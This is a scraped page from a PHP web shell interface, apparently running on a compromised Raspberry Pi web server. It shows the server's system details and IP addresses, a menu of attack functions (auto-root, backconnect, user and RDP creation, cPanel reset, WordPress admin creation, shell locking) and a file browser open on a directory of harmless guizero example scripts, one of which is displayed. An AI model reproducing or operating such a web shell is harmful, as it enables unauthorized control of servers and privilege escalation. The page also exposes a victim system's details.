Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.10
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
python3-guizero /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
after_repeat.py
629
B
-rw-r--r--
alert.py
93
B
-rw-r--r--
aligning.py
1.08
KB
-rw-r--r--
animated_picture.py
301
B
-rw-r--r--
app_events.py
1.36
KB
-rw-r--r--
auto_update_example.py
511
B
-rw-r--r--
binary_counter.py
607
B
-rw-r--r--
box.py
164
B
-rw-r--r--
button.py
283
B
-rw-r--r--
button_group.py
503
B
-rw-r--r--
button_toggle_state.py
409
B
-rw-r--r--
button_value.py
327
B
-rw-r--r--
changing_sizes.py
781
B
-rw-r--r--
checkbox.py
152
B
-rw-r--r--
clickable_waffle.py
504
B
-rw-r--r--
colors_and_text.py
1016
B
-rw-r--r--
colour_example.py
764
B
-rw-r--r--
combo.py
284
B
-rw-r--r--
demo.py
1.7
KB
-rw-r--r--
demo_converted_from_tk_v1.py
2.83
KB
-rw-r--r--
demo_converted_from_tk_v2.py
2.77
KB
-rw-r--r--
floodit.py
2.77
KB
-rw-r--r--
grid_layout.py
846
B
-rw-r--r--
guizero.gif
20.47
KB
-rw-r--r--
guizero.jpg
61.1
KB
-rw-r--r--
guizero.png
56.83
KB
-rw-r--r--
guizero_flash.gif
38.93
KB
-rw-r--r--
hide_show_test.py
1.16
KB
-rw-r--r--
layout_beyonce.py
382
B
-rw-r--r--
layout_boxes.py
697
B
-rw-r--r--
layout_form.py
561
B
-rw-r--r--
layout_settings.py
1.01
KB
-rw-r--r--
layout_terms.py
1.6
KB
-rw-r--r--
listbox.py
780
B
-rw-r--r--
load_picture.py
201
B
-rw-r--r--
massive_waffle.py
832
B
-rw-r--r--
menu_bar.py
532
B
-rw-r--r--
multi_app.py
547
B
-rw-r--r--
multi_box.py
1.15
KB
-rw-r--r--
multi_window.py
625
B
-rw-r--r--
multiline_textbox.py
563
B
-rw-r--r--
on_close.py
363
B
-rw-r--r--
picture_button.py
413
B
-rw-r--r--
random_appearance.py
1.06
KB
-rw-r--r--
resize_picture.py
398
B
-rw-r--r--
resize_picture_button.py
457
B
-rw-r--r--
resize_waffle.py
618
B
-rw-r--r--
scale_picture.py
514
B
-rw-r--r--
sensehat_read_data.py
3.98
KB
-rw-r--r--
slider_textbox.py
202
B
-rw-r--r--
textbox.py
393
B
-rw-r--r--
waffle.py
627
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sensehat_read_data.py
# An example showing how to use sensor data, here with the SenseHAT (or SenseHAT emulator) # Refer to RaspberryPi forums Teaching and learning resources : https://www.raspberrypi.org/forums/viewtopic.php?f=49&t=202386 for some talk using it. # compass added for show, but commented as it will not work if just enabled from guizero import * from sense_hat import SenseHat # from sense_emu import SenseHat #use this instead of sense_hat if you don't have a SenseHAT, but are using Raspbian/x86 Desktop sense=SenseHat() SENSOR_ENVIRONMENT_UPDATE_FREQUENCY = 1000 #time in milliseconds (ms) SENSOR_IMU_UPDATE_FREQUENCY = 100 def read_temp_sensor(): return round(sense.get_temperature(),1) def read_humidity_sensor(): return round(sense.get_humidity(),1) def read_pressure_sensor(): return round(sense.get_pressure()*0.1,1) def update_environment_sensors(): count_text.value=int(count_text.value)+1 #used to debug, i.e. check it is actually incrementing temperature_text.value = read_temp_sensor(),"°C" humidity_text.value = read_humidity_sensor(),"%" pressure_text.value = read_pressure_sensor(),"kPa" def update_IMU_sensors(): orient_yaw,orient_pitch,orient_roll = sense.get_orientation().values() mag_x,mag_y,mag_z = sense.get_compass_raw().values() acc_x,acc_y,acc_z = sense.get_accelerometer_raw().values() gyro_x,gyro_y,gyro_z = sense.get_gyroscope_raw().values() IMU_orient_yaw_text.value = round(orient_yaw,1) IMU_orient_pitch_text.value = round(orient_pitch,1) IMU_orient_roll_text.value = round(orient_roll,1) IMU_mag_x_text.value = round(mag_x,1) IMU_mag_y_text.value = round(mag_y,1) IMU_mag_z_text.value = round(mag_z,1) IMU_acc_x_text.value = round(acc_x,1) IMU_acc_y_text.value = round(acc_y,1) IMU_acc_z_text.value = round(acc_z,1) IMU_gyro_x_text.value = round(gyro_x,1) IMU_gyro_y_text.value = round(gyro_y,1) IMU_gyro_z_text.value = round(gyro_z,1) if __name__ == '__main__': app = App(title="Sensor Display!", height=230, width=420, layout='grid') title_count = Text(app, "count 'debug':", grid=[0, 0]) count_text = Text(app, "1", grid=[1, 0]) title = Text(app, "Temperature Sensor value:", grid=[0, 1]) temperature_text = Text(app, "xx", grid=[1, 1]) title2 = Text(app, "Humidity Sensor value:", grid=[0, 2]) humidity_text = Text(app, "xx", grid=[1, 2]) title3 = Text(app, "Pressure Sensor value:", grid=[0, 3]) pressure_text = Text(app, "xx", grid=[1, 3]) #IMU box IMU_title_orient_yaw = Text(app, "Yaw", grid=[1, 5]) IMU_title_orient_pitch = Text(app, "Pitch", grid=[2, 5]) IMU_title_orient_roll = Text(app, "Roll", grid=[3, 5]) IMU_title_orient = Text(app, "Orientation:", grid=[0, 6]) IMU_orient_yaw_text = Text(app, "xx", grid=[1, 6]) IMU_orient_pitch_text = Text(app, "xx", grid=[2, 6]) IMU_orient_roll_text = Text(app, "xx", grid=[3, 6]) IMU_title_x = Text(app, "X", grid=[1, 8]) IMU_title_y = Text(app, "Y", grid=[2, 8]) IMU_title_z = Text(app, "Z", grid=[3, 8]) IMU_title_mag = Text(app, "Magnetometer µT", grid=[0, 9]) IMU_title_acc = Text(app, "Accelerometer Gs", grid=[0, 10]) IMU_title_gyro = Text(app, "Gyroscope rad/s", grid=[0, 11]) IMU_mag_x_text = Text(app, "xx", grid=[1, 9]) IMU_mag_y_text = Text(app, "xx", grid=[2, 9]) IMU_mag_z_text = Text(app, "xx", grid=[3, 9]) IMU_acc_x_text = Text(app, "xx", grid=[1, 10]) IMU_acc_y_text = Text(app, "xx", grid=[2, 10]) IMU_acc_z_text = Text(app, "xx", grid=[3, 10]) IMU_gyro_x_text = Text(app, "xx", grid=[1, 11]) IMU_gyro_y_text = Text(app, "xx", grid=[2, 11]) IMU_gyro_z_text = Text(app, "xx", grid=[3, 11]) IMU_title_compass = Text(app, "Compass North Bearing", grid=[0, 13]) IMU_compass_text = Text(app, "xx", grid=[1, 13]) app.repeat(SENSOR_ENVIRONMENT_UPDATE_FREQUENCY, update_environment_sensors) app.repeat(SENSOR_IMU_UPDATE_FREQUENCY, update_IMU_sensors) app.display()
Close